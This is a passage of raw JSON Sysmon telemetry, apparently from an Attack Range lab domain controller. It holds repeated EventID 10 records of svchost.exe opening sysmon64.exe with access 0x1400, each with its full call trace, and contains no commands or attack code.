2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 